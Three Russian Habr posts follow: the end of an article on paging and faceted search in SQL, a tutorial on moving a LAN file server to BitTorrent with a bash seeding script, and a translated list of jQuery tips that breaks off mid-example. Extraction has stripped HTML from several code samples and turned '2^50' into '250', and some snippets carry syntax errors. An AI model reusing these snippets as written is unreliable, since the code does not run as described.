Теперь представим, как это можно реализовать на реляционной базе. Каждая группа критериев, такая как Category и Color, будет требовать отдельного запроса:
```
SELECT pc.ProductCategoryID, pc.Name, COUNT(1) FROM Production.Product p
INNER JOIN Production.ProductSubcategory ps ON p.ProductSubcategoryID = ps.ProductSubcategoryID
INNER JOIN Production.ProductCategory pc ON ps.ProductCategoryID = pc.ProductCategoryID
WHERE p.Color = 'Black'
GROUP BY pc.ProductCategoryID, pc.Name
ORDER BY COUNT(1) DESC
```
```
SELECT Color, COUNT(1) FROM Production.Product p
INNER JOIN Production.ProductSubcategory ps ON p.ProductSubcategoryID = ps.ProductSubcategoryID
WHERE ps.ProductCategoryID = 1 --Bikes
GROUP BY Color
ORDER BY COUNT(1) DESC
```
Что же не так с этим решением? Очень просто — оно плохо масштабируется. Каждая секция фильтра требует отдельного запроса для подсчета количеств и запросы эти не самые легкие. В интернет-магазинах в некоторых рубриках может быть и несколько десятков секций фильтра, что может оказаться серьезной проблемой для производительности.
Обычно после этих утверждений мне предлагают некоторые решения, а именно:
* Объединить все подсчеты количества в один запрос. Технически это возможно с помощью ключевого слова UNION, только производительности это не сильно поможет — базе данных все равно придется выполнить «с нуля» каждый из фрагментов.
* Кешировать количества. Это мне предлагают практически каждый раз, когда я описываю проблему. Нюанс в том, что это в общем случае невозможно. Предположим, у нас 10 «фасетов», в каждом из которых 5 значений. Это очень «скромная» ситуация на фоне того, что можно увидеть в тех же интернет-магазинах. Выбор одного элемента фасета влияет на количества в 9-ти других, другими словами, для каждой комбинации критериев количества могут быть разными. Всего в нашем примере 50 критериев, которые пользователь может выбрать, соответственно возможных комбинаций будет 250. На заполнение такого массива данных не хватит ни памяти, ни времени. Тут можно возразить и сказать, что не все комбинации реальны и пользователь редко когда выберет больше 5-10 критериев. Да, можно сделать ленивую загрузку и кеширование количества только для того, что когда-либо было выбрано, но чем больше будет вариантов выбора, тем менее эффективным будет такой кеш и тем более заметными будут проблемы с временем отклика (особенно если набор данных регулярно изменяется).
К счастью, подобная задача уже давно имеет достаточно эффективные решения, предсказуемо работающие на больших объемах данных. Для любого из этих вариантов имеет смысл разделить пересчет фасетов и получение страницы результатов на два параллельных обращения к серверу и организовать интерфейс пользователя таким образом, что загрузка данных по фасетам «не мешает» отображению результатов поиска.
* Вызывать полный пересчет «фасетов» как можно реже. Например, не пересчитывать все на каждом изменении критериев поиска, а вместо этого находить общее количество результатов, соответствующих текущим условиям, и предлагать пользователю их показать — «1425 записей найдено, показать?» Пользователь может либо продолжить менять условия поиска, либо нажать кнопку «показать». Только во втором случае будут выполнены все запросы по получению результатов и пересчету количеств на всех «фасетах». При этом, как несложно заметить, придется иметь дело с запросом на получение общего количества результатов и его оптимизацией. Этот способ можно встретить во многих небольших интернет-магазинах. Очевидно, что это не панацея для данной проблемы, но в простых случаях может быть неплохим компромиссом.
* Использовать search engine для поиска результатов и подсчета фасетов, такие как Solr, ElasticSearch, Sphinx и другие. Все они рассчитаны на построение «фасетов» и делают это достаточно эффективно за счет инвертированного индекса. Как устроены поисковые системы, почему они в таких случаях эффективнее баз данных общего назначения, какие есть практики и подводные камни — это тема для отдельной статьи. Здесь же я хочу обратить внимание, что search engine не может быть заменой основного хранилища данных, используется он как дополнение: любые изменения в основной базе, имеющие значение для поиска, синхронизируются в поисковый индекс; механизм поиска взаимодействует обычно только с search engine и не обращается к основной базе. Один из самых важных моментов здесь — как организовать эту синхронизацию надежно. Все зависит от требований к «времени реакции». Если время между изменением в основной базе и его «проявлением» в поиске не критично, можно сделать сервис, который раз в несколько минут ищет недавно измененные записи и их индексирует. Если требуется минимально возможное время реакции, можно реализовать что-то типа [transactional outbox](https://microservices.io/patterns/data/transactional-outbox.html) для отправки обновлений в поисковый сервис.
Выводы
------
1. Реализация пейджинга на стороне сервера — серьезное усложнение, и применять его имеет смысл только для быстрорастущих или просто больших наборов данных. Как оценить «большой» или «быстрорастущий» — абсолютно точного рецепта нет, но я бы придерживался такого подхода:
* Если получение полной коллекции данных с учетом серверного времени и передачи по сети нормально укладывается в требования по производительности — реализовывать пейджинг на стороне сервера смысла нет.
* Может быть такая ситуация, что на ближайшее время проблем с производительностью не предвидится, так как данных мало, но коллекция данных постоянно растет. Если какой-то набор данных в перспективе может перестать удовлетворять предыдущему пункту — лучше пейджинг заложить сразу.
2. Если со стороны бизнеса нет жесткого требования по показу общего количества результатов или по отображению номеров страниц, и при этом в вашей системе нет поискового движка — лучше эти моменты не реализовывать и рассматривать вариант #2.
3. Если есть четкое требование о faceted search, у вас есть два варианта не пожертвовать производительностью:
* Не пересчитывать все количества на каждом изменении критериев поиска.
* Использовать search engine такие как Solr, ElasticSearch, Sphinx и другие. Но следует понимать, что он не может быть заменой основной базе данных, и должен использоваться как дополнение к основному хранилищу для решения поисковых задач.
4. Также в случае faceted search имеет смысл разделить получение страницы результатов поиска и подсчет количеств на два параллельных запроса. Подсчет количеств может занять большее время, чем получение результатов, в то время как результаты важнее для пользователя.
5. Если вы используете SQL базу для поиска, любое изменение кода, относящееся к этой части, должно хорошо тестироваться в отношении производительности на соответствующем объеме данных (превосходящем объем в «живой» базе). Желательно также использовать мониторинг времени выполнения запросов на всех экземплярах базы, и особенно — на «живом». Даже если на этапе разработки с планами запросов все было хорошо, с ростом объема данных ситуация может заметно измениться. | https://habr.com/ru/post/493438/ | null | ru | null |
# Переводим раздачу контента на BitTorrent
Под катом описан пример перевода файловых серверов на BitTorrent.
У моего друга есть небольшая локальная сеть, абонентов так на 200-300, собственно обычная локальная сеть. Несколько игровых серверов, несколько файловых серверов и гирлянды неуправляемых свитчей. Типичный Пионер.Net начала-середины нулевых. Всё работает, все рады. Но с ростом количества абонентов у файловых серверов возникли проблемы с отдачей контента. После долгих раздумий и прочих экспериментов было решено перейти на битторрент. И вот уже почти полтора года проблем с серверами не возникает, а мой друг не перестает этому радоваться.
Каким именно должен быть сервер, какую систему выбрать, сколько дисков ставить, использовать ли raid, lvm, какую файловую систему предпочесть — у каждого администратора есть свои наработки. Лично я предпочитаю raid5 из 5-6 жестких дисков и xfs, производительность получаемая от такой связки меня полностью устраивает.
Краткая справка с википедии: BitTórrent — пиринговый (P2P) сетевой протокол для кооперативного обмена файлами через Интернет. Файлы передаются частями, каждый torrent-клиент, получая (скачивая) эти части, в то же время отдаёт (закачивает) их другим клиентам, что снижает нагрузку и зависимость от каждого клиента-источника и обеспечивает избыточность данных. Перед началом скачивания клиент подсоединяется к трекеру по адресу, указанному в торрент-файле, сообщает ему свой адрес и хеш-сумму торрент-файла, на что в ответ клиент получает адреса других клиентов, скачивающих или раздающих этот же файл.
Начнем с трекера, я выбрал opentracker. Простой в установке и настройке, нетребовательный к ресурсам.
`fs:~# apt-get install gcc make cvs
fs:~# cvs -d :pserver:cvs@cvs.fefe.de:/cvs -z9 co libowfat
fs:~# cd libowfat/
fs:~/libowfat# make
fs:~/libowfat# cd ..
fs:~# cvs -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co opentracker
fs:~# cd opentracker/
fs:~/opentracker# make
fs:~/opentracker# cp opentracker /usr/local/bin/
fs:~# cat /etc/rc.local |grep opentracker
start-stop-daemon --start --quiet -m -b --pidfile /var/run/opentracker.pid --exec /usr/local/bin/opentracker`
В настройках трекера я разрешил регистрацию любых торрент файлов, так мне захотелось, да и так проще.
Клиентом я выбрал btpb. Опять же простой в установке и настройке, очень нетребовательный к ресурсам и без каких либо патчей нормально работает с большим количеством файлов.
`fs:~# wget www.murmeldjur.se/btpd/btpd-0.15.tar.gz
fs:~# tar -xf btpd-0.15.tar.gz
fs:~# cd btpd-0.15
fs:~/btpd-0.15# chmod +x configure
fs:~/btpd-0.15# ./configure
fs:~/btpd-0.15# make
fs:~/btpd-0.15# make install
fs:~# cat /etc/rc.local |grep btpd
/usr/local/bin/btpd -d /root/.btpd`
Генерировать торрент файлы будем посредством ctorrent
`fs:~# apt-get install ctorrent`
Собственно теперь у нас есть торрент трекер, торрент клиент и куча файлов, которые нужно раздавать пользователям.
Предположим помимо кучи файлов также имеется каталог с красивым интерфейсом и базой данных, где хранится вся необходимая нам информация.
В моем случае была табличка files, в которой хранились путь к файлу и уникальный id файла.
Для контроля генерации торрент файлов я создал дополнительную таблицу torrents
`mysql> desc torrents;`
> `+--------------+---------------+------+-----+---------+----------------+
>
> | Field | Type | Null | Key | Default | Extra |
>
> +--------------+---------------+------+-----+---------+----------------+
>
> | id | int(16) | NO | PRI | NULL | auto\_increment |
>
> | file\_id | int(16) | YES | | NULL | |
>
> | is\_torrent | enum('1','0') | YES | | 0 | |
>
> +------------+---------------+------+-----+---------+----------------+
>
> 3 rows in set (0.01 sec`
и 3 триггера
`mysql> show triggers;`
> `+-----------+--------+-------+--------
>
> | Trigger | Event | Table | Statement | Timing |
>
> +-----------+--------+-------+--------
>
> | on\_insert|INSERT|files| insert into torrents (file\_id) values(LAST\_INSERT\_ID())| AFTER
>
> | on\_update|UPDATE|files| update torrents set is\_torrent='0' where file\_id=NEW.id | AFTER
>
> | on\_delete|DELETE|files| delete torrents.\* from torrents where torrents.file\_id=old.id | AFTER
>
> +-----------+--------+-------+--------`
В таблице хранятся данные от торрент файлах, и благодаря триггерам происходит создание, перегенерация, либо удаление торрент файла.
Теперь сам скрипт контроля состояния торрент файлов.
`fs:~# cat add_torrent.sh`
> `#!/bin/bash
>
> #определяем адрес трекера
>
> tracker="http://tracker\_domain:6969/announce"
>
> #корневая папка где храниться контент
>
> video\_home="/home/video";
>
> #папка для хранения торрент файлов
>
> torrent\_dir=" /var/www/torrents";
>
>
>
> ctorrent="/usr/bin/ctorrent";
>
> btcli="/usr/local/bin/btcli";
>
> mysql="/usr/bin/mysql -pdpass -u duser -D video";
>
>
>
> #получаем id файлов для которых не сгенерирован торрент
>
> for i in `echo "select files.id from files,torrents where torrents.file\_id=files.id and torrents.is\_torrent='0' limit 1;"|${mysql}|sed 1d`
>
> do
>
> id=${i};
>
> #получаем полный путь к файлу
>
> path=`echo "select files.path from files where files.id="${id}" limit 1;"|${mysql}|sed 1d`
>
> #формируем название торрента
>
> torrent\_file=${torrent\_dir}/${id}.torrent
>
> #если торрент уже был сгенерирован удаляем его из торрент клиента
>
> if [ -e ${torrent\_file} ]
>
> then
>
> [ `${btcli} list|awk '{print $1}'|grep -w ${id}|wc -l` -ne 0 ] && ${btcli} del ${torrent\_file}
>
> rm ${torrent\_file}
>
> fi
>
> cd ${video\_home}
>
> path1=`dirname "${path}"`
>
> #генерируем торрент и если все прошло успешно обновляем базу данных
>
> ${ctorrent} -t -u ${tracker} -s ${torrent\_file} "${path}" && echo "update torrents set is\_torrent='1' where file\_id="${id}|${mysql}
>
> #если торрент сгенерился добавляем в торрент клиент
>
> [ -e ${torrent\_file} ] && ${btcli} add -d "${path1}" -n ${id} --topdir ${torrent\_file}
>
> done
>
>
>
> #проверяем все ли сгенерированные торрент файлы загружены
>
> ls ${torrent\_dir}|sed 's/.torrent//'|sort -n > /tmp/tor\_list.files
>
> ${btcli} list|awk '{print $1}'|sed 1d|sort -n > /tmp/tor\_list.load
>
>
>
> diff\_list=(`diff /tmp/tor\_list.files /tmp/tor\_list.load|grep "<"|awk '{print $2}'`)
>
> diff\_num=$((${#diff\_list[\*]}-1))
>
> for i in `seq 0 $diff\_num`
>
> do
>
> id=${diff\_list[${i}]};
>
> path=`echo "select files.Path from files where files.id="${id}";"|${mysql}|sed 1d`
>
> torrent\_file=${torrent\_dir}/${id}.torrent
>
> ${btcli} del ${torrent\_file}
>
> if [ -z ${path[0]} ]
>
> then
>
> rm ${torrent\_file};
>
> else
>
> path=`dirname "$path"`
>
> ${btcli} add -d ${path} -n ${id} --topdir ${torrent\_file}
>
> fi
>
> done`
Как видно из листинга, скрипт генерирует торреннт файлы, если торрент уже существовал перегенерирует при необходимости, так же следит за тем что бы все сгенерированные торренты были добавлены в клиент.
Для нормальной работы системы достаточно запускать данный скрипт раз 2-3 минуты.
Единственное что не рализованно, это удаление торрент файлов и контента при удалении записей о нем из базы данных.
Не побоюсь повториться данная система работает уже как полтора года и проблем не возникает, единственное рекомендую в названиях файлов и папок не использовать кирилицу, всякое может случиться. | https://habr.com/ru/post/97574/ | null | ru | null |
# Закрепляем jQuery — 25 отличных советов
Перевод отличной статейки. Думаю, будет полезна как новичкам, которые только приступили к использованию jQuery, так и тем, кто уже какое-то время с ним работает. А кого-то, возможно, заставит глянуть эту чудесную библиотечку. Многие советы имеют отношение не только к jQuery, но и к JavaScript в целом. Лично для меня была весьма и весьма познавательной, посему и захотелось донести это «до масс». Перевод не дословный, но передающий смысл и максимально адаптированный к русскому языку.
*Далее все написано от имени автора оригинальной статьи.*
Введение
--------
jQuery прекрасен. Я использую его вот уже почти год и, хотя я и был достаточно впечатлен в самом начале, он нравится мне все больше и больше по мере использования и по мере того, как я узнаю о том, как он устроен внутри.
Я не эксперт в jQuery. И даже не претендую, поэтому, если встретите ошибки, смело поправляйте меня и вносите предложения по улучшению *(поправлять и присылать поправки нужно автору статьи, а не перевода — зам. пер.)*.
Я называю себя «среднестатистическим» пользователем jQuery и я думаю, что всем остальным будет интересно почитать и что-нибудь почерпнуть из «фишек», «трюков» и техник, которые я освоил за последний год. Статья получилась куда длиннее, чем я предполагал изначально, так что в самом начале я привел «содержание» для более удобной навигации и возможности при желании пропустить не интересующие моменты.
Содержание
----------
1. Загружайте фреймворк с Google Code
2. Используйте «шпаргалку» (cheat sheet)
3. Соединяйте все ваши скрипты и уменьшайте размер файла
4. Используйте возможности Firebug для ведения логов
5. Минимизируйте операции выборки в пользу кэширования
6. Сводите манипуляции с DOM-деревом к минимуму
7. Оборачивайте все в единый элемент, когда речь идет о любой вставке в DOM
8. Используйте «id» вместо классов, где это возможно
9. Задайте контекст своим селекторам
10. Используйте последовательности вызовов методов с умом
11. Научитесь правильно использовать анимацию
12. Научитесь назначать и делегировать события
13. Используйте классы для сохранения состояния
14. Еще лучше — используйте встроенный в jQuery метод data() для сохранения состояния
15. Пишите собственные селекторы
16. Подготавливайте HTML и модифицируйте его, когда страница загружена
17. Используйте «отложенную загрузку» (lazy loading) для определенного контента для выигрыша в общей скорости и преимуществ для SEO
18. Используйте служебные функции jQuery
19. Используйте «noconflict» для переименования глобального объекта «jquery», когда используете его с другими фреймворками
20. Как узнать что картинки загружены?
21. Всегда используйте последнюю версию
22. Как проверить, что элемент существует?
23. Добавляйте класс «JS» в элемент «html»
24. Возвращайте «false» для отмены поведения по-умолчанию
25. Короткая запись для события готовности документа
1. Загружайте фреймворк с Google Code
-------------------------------------
Google держит несколько JavaScript-библиотек на Google Code и в загрузке оттуда есть несколько преимуществ по сравнению с хранением на своем сервере. Это экономит трафик, обеспечивает очень быструю загрузку и, что наиболее важно, библиотека уже находится в кэше, если пользователь посещал любой сайт, использующий эту библиотеку, в свое время загруженную с Google Code.
Это имеет немаловажное значение. Как много сайтов выдают идентичные копии jQuery, которые не кэшируются? Это очень просто сделать...
> ````
>
>
>
> // Загружаем jQuery
> google.load("jquery", "1.2.6");
>
> google.setOnLoadCallback(function() {
> // Здесь, для разнообразия, можно даже написать какой-то код.
> });
>
>
> ````
Или можно просто включить прямую ссылку, вроде этой...
Подробные инструкции [здесь](http://code.google.com/apis/ajaxlibs/documentation/index.html).
2. Используйте «шпаргалку» (cheat sheet)
----------------------------------------
Совет касается не только jQuery, ведь имеется множество шпаргалок для большинства языков. Весьма удобно иметь под рукой каждую функцию на печатном листке формата A4.
<http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet/>
<http://colorcharge.com/jquery/>
3. Соединяйте все ваши скрипты и уменьшайте размер файла
--------------------------------------------------------
Ну хорошо, это еще один совет в целом по JavaScript. Но любой большой проект, который вовсю использует jQuery, возможно использует множество плагинов *(сайт автора использует localScroll, lightbox и preload)*, так что этот совет тут весьма кстати.
Браузеры не могут загружать скрипты одновременно (ну, по крайней мере, пока не могут), что означает, что если у вас несколько скриптов, загружаемых поодиночке, это снижает общее время загрузки страницы. Таким образом, принимая во внимание, что скрипты обычно нужно загружать на каждую страницу, неплохо было бы собрать их в один большой файл перед развертыванием.
Некоторые из плагинов уже могут быть минимализированы и упакованы, но нужно предусмотреть объединение оставшихся скриптов. Мне лично нравится [Packer](http://dean.edwards.name/packer/) Dean'а Edwards'а.
4. Используйте возможности Firebug для ведения логов
----------------------------------------------------
Если вы до сих пор еще не поставили Firebug, ~~срочно убейте себя опасной бритвой~~ вы действительно должны это сделать. Помимо прочих очень крутых штук, как, к примеру, возможности анализа вашего трафика или поиска проблем с CSS, в Firebug'е есть отличные инструменты для «логирования» выполнения кода, что позволяет просто и быстро отлаживать скрипты.
[Здесь](http://getfirebug.com/console.html) полное описание.
Мои любимые «фичи» — «console.info», которая позволяет выводить сообщения и переменные сразу на экран без использования alert-окошек, и «console.time», которая позволяет очень просто задать таймер для выбранного куска кода и посмотреть как долго выполняется именно этот кусок. И все это очень просто использовать.
> ````
>
> console.time('create list');
>
> for (i = 0; i < 1000; i++) {
> var myList = $('.myList');
> myList.append('This is list item ' + i);
> }
>
> console.timeEnd('create list');
>
> ````
В этом примере я сознательно написал очень простой и бесполезный по сути код. В некоторых из следующих советов, я покажу, как можно использовать таймер для внесения улучшений.
5. Минимизируйте операции выборки в пользу кэширования
------------------------------------------------------
Селекторы в jQuery прекрасны. Они делают выборку любого элемента страницы невероятно простой, но «под капотом» они производят приличное количество действий и если вы ими злоупотребляете, то у вас все шансы снизить общую производительность.
Если вам приходится выбирать один и тот же элемент снова и снова (допустим, в цикле), то лучше просто выбрать его один раз и сохранить в памяти на время манипуляций с его содержимым. Возьмем следующий пример, где мы добавляем элементы в маркированный список, используя цикл:
> ````
>
> for (i = 0; i < 1000; i++) {
> var myList = $('.myList');
> myList.append('Это элемент списка № ' + i);
> }
> ````
Это занимает 1066 миллисекунд на моем компьютере в Firefox 3 (только представьте, как это будет работать в IE6!), что очень и очень медленно по меркам JavaScript. Теперь посмотрим на другой пример, где мы используем селектор единожды:
> ````
>
> var myList = $('.myList');
>
> for (i = 0; i < 1000; i++) {
> myList.append('Это элемент списка № ' + i);
> }
> ````
Это занимает всего 224 миллисекунды, что более, чем в 4 раза быстрее, при том, что мы поменяли всего лишь одну строчку.
6. Сводите манипуляции с DOM-деревом к минимуму
-----------------------------------------------
Мы можем сделать код из предыдущего совета даже еще быстрее, если минимизируем количество обращений к DOM для вставки. Операции вставки в DOM, такие, как .append(), .prepend(), after() и wrap() относительно ресурсоемки и злоупотребление ими может ухудшить положение дел.
Все, что нам нужно, это использовать соединение строк, чтобы построить список и затем всего-лишь одной функцией вроде .html() быстренько добавить элемент в наш маркированный список. Посмотрим пример:
> ````
>
> var myList = $('#myList');
>
> for (i=0; i<1000; i++){
> myList.append('Это элемент списка № ' + i);
> }
>
> ````
У меня это заняло 216 миллисекунд, что чуть больше, чем 1/5 доля секунды, но если мы построим элементы списка в виде строк и затем используем метод .html() для вставки, вроде этого...
> ````
>
> var myList = $('.myList');
> var myListItems = '';
>
> for (i = 0; i < 1000; i++) {
> myListItems += '- Это элемент списка № ' + i + '
> ';
> }
>
> myList.html(myListItems);
>
> ````
Это занимает 185 миллисекунд, что не намного быстрее, но как-никак 31 миллисекундами меньше.
7. Оборачивайте все в единый элемент, когда речь идет о любой вставке в DOM
---------------------------------------------------------------------------
Окей, даже не спрашивайте меня, почему это работает (я уверен, что это сможет объяснить кто-нибудь поопытнее).
В нашем последнем примере мы вставили 1000 элементов списка в маркированный список, используя метод .html().
Если бы мы поместили их в тег «ul» до вставки и поместили бы готовый «ul» в другой тег (div), тогда мы бы успешно вставили только 1 тег вместо 1000, что, по всей видимости должно дать эффект. Вот как-то так...
> ````
>
> var myList = $('.myList');
> var myListItems = '';
>
> for (i = 0; i < 1000; i++) {
> myListItems += '* Это элемент списка № ' + i + '
> ';
> }
>
> myListItems += '
> ';
> myList.html(myListItems);
>
> ````
В этот раз, «на все про все» ушло не иначе, как 19 миллисекунд, что крайне существенное улучшение, производительность возросла более, чем в 50 раз по сравнению с первым примером.
8. Используйте «id» вместо классов, где это возможно
----------------------------------------------------
jQuery делает выборку DOM-элементов по классам такой же простой, какой в JavaScript является выборка элементов по «id», в результате чего многие используют классы куда более широко, нежели раньше. Однако, все еще гораздо лучше выбирать элементы по «id», так как jQuery использует для этого стандартный метод любого браузера (getElementById) и не проводит никаких дополнительных манипуляций с DOM, что позволяет достичь хорошей производительности. Насколько хорошей? Давайте проверим.
Я использую предыдущий пример и изменю его таким образом, что каждый элемент «li» будет иметь уникальный класс, добавленный к нему. Затем я выберу в цикле все элементы (каждый по одному разу).
> ````
>
> // Создаем список
> var myList = $('.myList');
> var myListItems = '';
>
> for (i = 0; i < 1000; i++) {
> myListItems += '* Это элемент списка №
> ';
> }
>
> myListItems += '
> ';
> myList.html(myListItems);
>
> // Выбираем каждый элемент в цикле
> for (i = 0; i < 1000; i++) {
> var selectedItem = $('.listItem' + i);
> }
>
> ````
В точности как я и предполагал, браузер неслабо подвис и закончил выполнение только через 5066 миллисекунд (более 5 секунд). Так что я модифицировал код, дав каждому элементу id вместо класса и затем также выбрал каждый в цикле, но уже по id.
> ````
>
> // Создаем список
> var myList = $('.myList');
> var myListItems = '';
>
> for (i = 0; i < 1000; i++) {
> myListItems += '* This is a list item
> ';
> }
>
> myListItems += '
> ';
> myList.html(myListItems);
>
> // Выбираем каждый элемент в цикле
> for (i = 0; i < 1000; i++) {
> var selectedItem = $('#listItem' + i);
> }
>
> ````
В этот раз — всего 61 миллисекунду. Примерно в 100 раз быстрее.
9. Задайте контекст своим селекторам
------------------------------------
По-умолчанию, когда вы используете селектор типа $('.myDiv'), произойдет обращение ко всему DOM-документу, что, в определенных случаях (например, при большой странице), может весьма существенно отразиться на производительности.
Функция jQuery принимает второй параметр, когда производит выборка.
> ````
>
> *jQuery(expression, context)*
>
> ````
Передавая контекст в селектор, вы сообщаете ему элемент, с которого нужно начинать искать. Таким образом, необходимость обращения ко всему DOM-документу отпадает.
Чтобы продемонстрировать это, снова возьмем пример из первого совета. Он создает маркированный список из 1000 элементов, каждый из которых имеет свой класс. Затем скрипт в цикле выбирает каждый элемент. Помните, что при выборке по классу, у нас заняло около 5 секунд, чтобы выбрать все 1000 элементов.
> ````
>
> var selectedItem = $('.listItem' + i);
>
> ````
Затем, я добавил контекст, чтобы jQuery использовал селектор только в пределах маркированного списка. Вроде этого:
> ````
>
> var selectedItem = $('.listItem' + i, $('.myList'));
>
> ````
Это заняло 3818 миллисекунд, что само по себе все еще адски медленно, но это уже более, чем 25%-й прирост в скорости при минимальной модификации селектора.
10. Используйте последовательности вызовов методов
--------------------------------------------------
Одна из самых клевых фишек в jQuery — это возможность выстраивать последовательности вызовов методов. Например, если вы хотите поменять класс элемента:
> ````
>
> $('myDiv').removeClass('off').addClass('on');
>
> ````
Скорее всего, вы выучили это в первые же 5 минут использования jQuery, но это еще не все. Во-первых, это прекрасно работает с переносами строк (поскольку jQuery — это все же JavaScript), что означает, что вы можете писать красивый код вроде этого:
> ````
>
> $('#mypanel')
> .find('TABLE .firstCol')
> .removeClass('.firstCol')
> .css('background' : 'red')
> .append('Теперь эта ячейка красная');
>
> ````
Использование последовательностей также само по себе помогает вам ограничить использование селекторов.
Но и это еще не все. Скажем, вы хотите выполнить несколько функций на элементе, но одно из первых же применений изменило элемент каким-либо образом, например:
> ````
>
> $('#myTable').find('.firstColumn').css('background','red');
>
> ````
Мы выбрали таблицу, углубились дальше, чтобы найти ячейки с классом «firstColumn» и покрасили их в красный цвет.
Представим, что нам нужно покрасить все ячейки с классом «lastColumn» в синий. Поскольку мы использовали функцию find(), мы отфильтровали все ячейки которые не помечены классом «firstColumn», поэтому нам нужно повторно использовать селектор для получения элемента таблицы и мы не можем продолжить выстраивать последовательность сходу, верно? К счастью, в jQuery имеется функция end(), которая возвращает нас к предыдущей нетронутой выборке, так что можно продолжить нашу последовательность:
> ````
>
> $('#myTable')
> .find('.firstColumn')
> .css('background','red')
> .end()
> .find('.lastColumn')
> .css('background','blue');
>
> ````
Также проще, чем вы могли бы подумать, написать собственную функцию jQuery, которую можно включить в последовательность. Все, что нужно сделать, это написать функцию, которая модифицирует элемент и возвращает его же.
> ````
>
> $.fn.makeRed = function() {
> return $(this).css('background', 'red');
> }
>
> $('#myTable').find('.firstColumn').makeRed().append('hello');
>
> ````
Просто, правда?
11. Научитесь правильно использовать анимацию
---------------------------------------------
Когда я только начал использовать jQuery, я был в восторге от простоты в использовании встроенной анимации вроде slideDown() и fadeIn() для получения клевых эффектов. Очень просто пойти чуть дальше, поскольку метод jQuery animate() очень прост для использования и одновременно очень крут. Фактически, если посмотреть на исходники jQuery, можно увидеть, что все эти методы — эдакие мини-абстракции, частные случаи использования функции animate().
> ````
>
> slideDown: function(speed,callback){
> return this.animate({height: "show"}, speed, callback);
> },
>
> fadeIn: function(speed, callback){
> return this.animate({opacity: "show"}, speed, callback);
> }
>
> ````
Метод animate() просто берет любой CSS-стиль и плавно трансформирует его из одного значения в другое. Таким образом, можно поменять ширину, высоту, прозрачность, цвет фона, отступы, цвет, размер шрифта, да и вообще, все, что пожелается.
Вот, к примеру, так вот просто сделать анимированное меню, пункты которого увеличиваются до 100 px в высоту при наведении мышкой:
> ````
>
> $('#myList li').mouseover(function() {
> $(this).animate({"height": 100}, "slow");
> });
>
> ````
В отличие от других функций jQuery, анимации автоматически выстраиваются в очередь, так что если вы хотите второй такой же эффект сразу после первого, просто вызовите метод еще раз, необходимости в назначении событий и callback-ах нет.
> ````
>
> $('#myBox').mouseover(function() {
> $(this).animate({ "width": 200 }, "slow");
> $(this).animate({"height": 200}, "slow");
> });
>
> ````
Если вы хотите, чтобы эффекты протекали одновременно, тогда просто укажите оба стиля в параметрах объекта и сделайте один вызов. Как-то вот так:
> ````
>
> $('#myBox').mouseover(function() {
> $(this).animate({ "width": 200, "height": 200 }, "slow");
> });
>
> ````
Так можно анимировать любое свойство, имеющее изменяемое числовое значение. Вы также можете скачать плагины, которые помогут анимировать свойства, которые по-умолчанию ни в какую не хотят этого делать. Такие, как [цвета и цвета фона](http://plugins.jquery.com/project/color).
12. Научитесь назначать и делегировать события
----------------------------------------------
С jQuery как нельзя просто обработчики события назначаются элементам DOM, что замечательно, но добавление чрезмерного числа обработчиков снижает производительность. Делегирование обработки событий позволяет добавлять меньше событий, «прослушиваемых» элементом при аналогичном с точки зрения функциональности результате. Лучший способ понять — увидеть:
> ````
>
> $('#myTable TD').click(function(){
> $(this).css('background', 'red');
> });
>
> ````
Простая функция, которая превращает ячейки таблицы в красные, когда вы кликаете на этих ячейках. Скажем, у вас есть небольшая таблица с 10 колонками и 50 рядами, но это значит, что уже 500 обработчиков события «ждут своего часа». Может быть, куда уместнее будет назначить только одно событие всей таблице, а затем, когда произошел клик по таблице, заставить обработчик определить, какая именно ячейка вызвала событие?
Именно это и называется делегированием событий и это очень просто реализовать:
> ````
>
> $('#myTable').click(function(e) {
> var clicked = $(e.target);
> clicked.css('background', 'red');
> });
>
> ````
'e' содержит информацию о событии, включая элемент, на котором произошел клик. Все, что нам нужно сделать — проверить его и узнать, на какую ячейку нажал пользователь. Куда удобнее.
У делегирования событий есть еще один мега-существенный бонус. Когда вы привязываете обработчик к набору элементов, он присоединяется к тем и только к тем элементам, которые были в этом наборе в момент назначения события. Если добавить новые элементы в DOM, которые вполне себе будут выбираться селектором, они не будут иметь обработчиков. Понимаете, к чему я клоню? Их придется назначать и переназначать постоянно, если элементы меняются.
Если же использовать делегрование, вы может добавлять столько элементов в DOM, сколько вам заблагорассудится и обработчик событий будет нормально работать и с ними.
*На момент написания статьи, автором использовалась версия 1.2.6, однако начиная с версии 1.3, в jQuery появился новый функционал, адресованный как раз проблеме переназначения событий — [jQuery Event/live](http://docs.jquery.com/Events/live).*
13. Используйте классы для сохранения состояния
-----------------------------------------------
Это наиболее простой способ хранить информацию о кусочке html. jQuery отлично манипулирует элементами, основываясь на их классах, так что если вам нужно сохранить информацию о состоянии элемента, то почему бы не добавить дополнительный класс для того, чтобы сохранить его?
А вот и пример. Мы хотим создать разворачивающееся меню. Когда мы нажимаем на кнопку, мы хотим, чтобы панель появилась со slideDown(), если она закрыта и наоборот — исчезла со slideUp(), если открыта. Начнем с HTML:
> ````
>
>
>
> click me
>
>
> * Пункт меню 1
> * Пункт меню 2
> * Пункт меню 3
>
>
>
>
>
> ````
Очень просто! Мы просто добавили дополнительный класс к элементу-обертке (div), который не имеет иной роли, кроме как сообщить нам состояние элемента. Так что, все что нам нужно — обработчик события «onclick», который производит slideUp() или slideDown() соответствующей панельки, когда кнопка нажата.
> ````
>
> $('.button').click(function() {
>
> var menuItem = $(this).parent();
> var panel = menuItem.find('.panel');
>
> if (menuItem.hasClass("expanded")) {
> menuItem.removeClass('expanded').addClass('collapsed');
> panel.slideUp();
> }
> else if (menuItem.hasClass("collapsed")) {
> menuItem.removeClass('collapsed').addClass('expanded');
> panel.slideDown();
> }
> });
>
> ````
Это очень простой пример, но вы можете добавлять другие классы для сохранения любого рода информации об элементе или фрагменте HTML.
Однако, во всех чуть более сложных случаях, скорее всего, лучше использовать следующий совет.
14. Совсем круто — используйте встроенный в jQuery метод data() для сохранения состояния
----------------------------------------------------------------------------------------
По определенным причинам, это не так хорошо документировано, но в jQuery имеется внутренний метод data(), который может быть использован для хранения информации в парах «ключ/значение», в соответствии с любым DOM-элементом. Хранение любых данных также просто, как вот это:
> ````
>
> $('#myDiv').data('currentState', 'off');
>
> ````
Мы можем улучшить пример из прошлого совета. Мы используем тот же HTML (кроме класса «expanded») и используем функцию data().
> ````
>
> $('.button').click(function() {
>
> var menuItem = $(this).parent();
> var panel = menuItem.find('.panel');
>
> if (menuItem.data('collapsed')) {
